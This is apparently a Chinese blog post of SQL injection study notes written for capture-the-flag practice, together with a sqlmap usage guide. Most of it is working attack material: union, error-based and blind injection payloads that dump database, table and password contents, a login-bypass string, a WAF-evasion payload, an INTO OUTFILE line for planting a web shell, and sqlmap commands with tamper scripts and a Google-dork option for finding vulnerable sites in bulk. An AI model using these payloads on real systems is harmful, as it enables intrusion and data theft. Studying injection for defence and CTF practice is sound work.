浅谈sql注入学习笔记与sqlmap的使用

参考自http://www.cnblogs.com/hongfei/p/3872156.html

因为很反感自己成为一名脚本小子,所以以前不管是是做题还是渗透都喜欢手工注入,然而sql注入语句都比较严谨,常常因为自己手残打错了一个符号导致浪费了大量的时间,所以在这里做一个笔记,方便自己也方便他人

有回显位的SQL注入

(回显位简单来说就是你select 1,2,3页面会出现1,2,3)
此类注入最简单一般先用

1
order by x

判断字段数,然后

1
select 1,database(),3 判断一下数据库名

然后爆表名

1
select 1,table_name,3 from information_schema.tables where table_schema='数据库名' limit 0,1

然后爆列名

1
select 1,column_name,3 from information_schema.columns where table_name='数据表名' limit 0,1

最后爆出字段内容

1
select 1,列名,3 from 数据库名.表名 where table_name='数据表名' limit 0,1

(PS:’被过滤可使用0xxxxx的16进制表示)

一些常见的id类型

1
2
3
4
5
id=''
id=12
id=""
id=('')
id=((''))

无回显位但是有报错提示的

此类题目一半用sql的XML报错语句

利用floor(rand()0,1)报错

1
2
and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2) as a from information_schema.columns group by a)as b)%23
(0x3a是分割,避免结果显示不完全)

多表查询需要as b这类语句,因为select一次只能查询一条语句,多表查询会报错。

利用updatexml函数报错

1
and 1=updatexml(1,concat(0x3a,(select database())),1)--+

利用name_const函数构造两个相同的列名报错

1
and 1=(select * from (select name_const(version(),1),name_const(version(),1))as b)--+

利用extractvalue报错注入

1
extractvalue(1,concat(0x7e,(select @@version),0x7e))

有显示但是无回显位的

(就是查询正确和查询错误页面返回结果不一致的)
此类一般用盲注

1
and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>50)--+

无显示无回显的

加一个if

1
and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>50,1,sleep(5))--+

图片类型注入

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27.jpg

表单注入

一般使用万能密码尝试,常见的如

1
admin' or '1'='1

这里就不贴万能密码了,网上一大堆,bp字典也有自带的

宽字节注入

如果是get方式的话可以考虑使用%df进行吃掉%5c
如果是post方式的话因为不能进行urlencode所以可以考虑使用utf-16编码以后吃掉%5c

order by注入

判断有无注入点使用sort=desc和asc
盲注的话可以利用rand()函数值正确或者错误会返回不同的结果的特性进行注入

导入到文件方法(直接导入一句话)

1
union select 1,2,3 into outfile "c:\xxxxx\uuu.txt"--+

limit注入

1
select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(1,concat(0x7e,(select @@version),0x7e))

union和select被过滤的话同理

此类手工一般不显示,建议用py脚本跑

基于约束的SQL攻击

也就是二次注入的原理
因为sql的select是不忽视最大长度的限制的
而insert是有最大长度的限制的,超过长度限制就会发生截断。所以可以利用insert插入一个任意用户名加(N个空格,一般64个)然后用select选择出来,select默认是选择第一条数据,所以存在一个任意用户登录的漏洞

关于绕过WALF网上有很多,这里仅给出一个个人认为最通用的

1
username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1

可以绕过(,,union,select,and,or,空格,#,balabalabalabala)

sqlmap使用详解

运用sqlmap在CTF比赛的时候可以节省大量的时间
下面以ISCC2017一道宽字节注入为例子(手工注入参照我博客的ISCC)
判断有无注入点

爆库名

爆表名


爆列(字段)名

爆字段内容

得到flag

首先判断有无注入点
win

1
python sqlmap.py -u "http:/www.xxx.com?id=1"

linux

1
./sqlmap.py -u "http:/www.xxx.com?id=1"

暴库

1
python sqlmap.py -u "http:/www.xxx.com?id=1" --dbs

爆表

1
python sqlmap.py -u "http:/www.xxx.com?id=1" -D 苦命 --tables

爆密码,用户名

1
2
python sqlmap.py -u "http:/www.xxx.com?id=1" --passwords
--users

爆字段

1
python sqlmap.py -u "http:/www.xxx.com?id=1" -D 库名 -T 列名 --columns

爆出字段内容

1
python sqlmap.py -u "http:/www.xxx.com?id=1" -D 库名 -T 列名 -C "字段名" --dump

加tamper用sqlmap绕过walf

tamper用法

1
python sqlmap.py -u "http:/www.xxx.com?id=1" --tamper=apostrophemask

  1. apostrophemask.py 用UTF-8全角字符替换单引号字符

  2. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

  3. appendnullbyte.py 在payload末尾添加空字符编码

  4. base64encode.py 对给定的payload全部字符使用Base64编码

  5. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

  6. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

  7. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

  8. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

  9. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

  10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

  11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”

  12. greatest.py 用“GREATEST”函数替换大于号“>”

  13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

  14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

  15. lowercase.py 用小写值替换每个关键字字符

  16. modsecurityversioned.py 用注释包围完整的查询

  17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

  18. multiplespaces.py 在SQL关键字周围添加多个空格

  19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

  20. overlongutf8.py 转换给定的payload当中的所有字符

  21. percentage.py 在每个字符之前添加一个百分号

  22. randomcase.py 随机转换每个关键字字符的大小写

  23. randomcomments.py 向SQL关键字中插入随机注释

  24. securesphere.py 添加经过特殊构造的字符串

  25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

  26. space2comment.py 用“/**/”替换空格符

  27. space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符

  28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

  29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

  30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

  31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

  32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

  33. space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符

  34. space2plus.py 用加号“+”替换空格符

  35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

  36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

  37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

  38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

  39. versionedkeywords.py 用MySQL注释包围每个非函数关键字

  40. versionedmorekeywords.py 用MySQL注释包围每个关键字

  41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

sqlmap risk level指数

–risk 1(2,3,4)

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

–level 1(2,3,4,5)

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:
python sqlmap.py -g “inurl:\”.php?id=1\””

(很牛B的功能,可以直接利用谷歌寻找网站的注入点)

–data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
用于表单注入

-v

显示sqlmap对一个点是进行了怎样的尝试判断以及读取数据的
共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。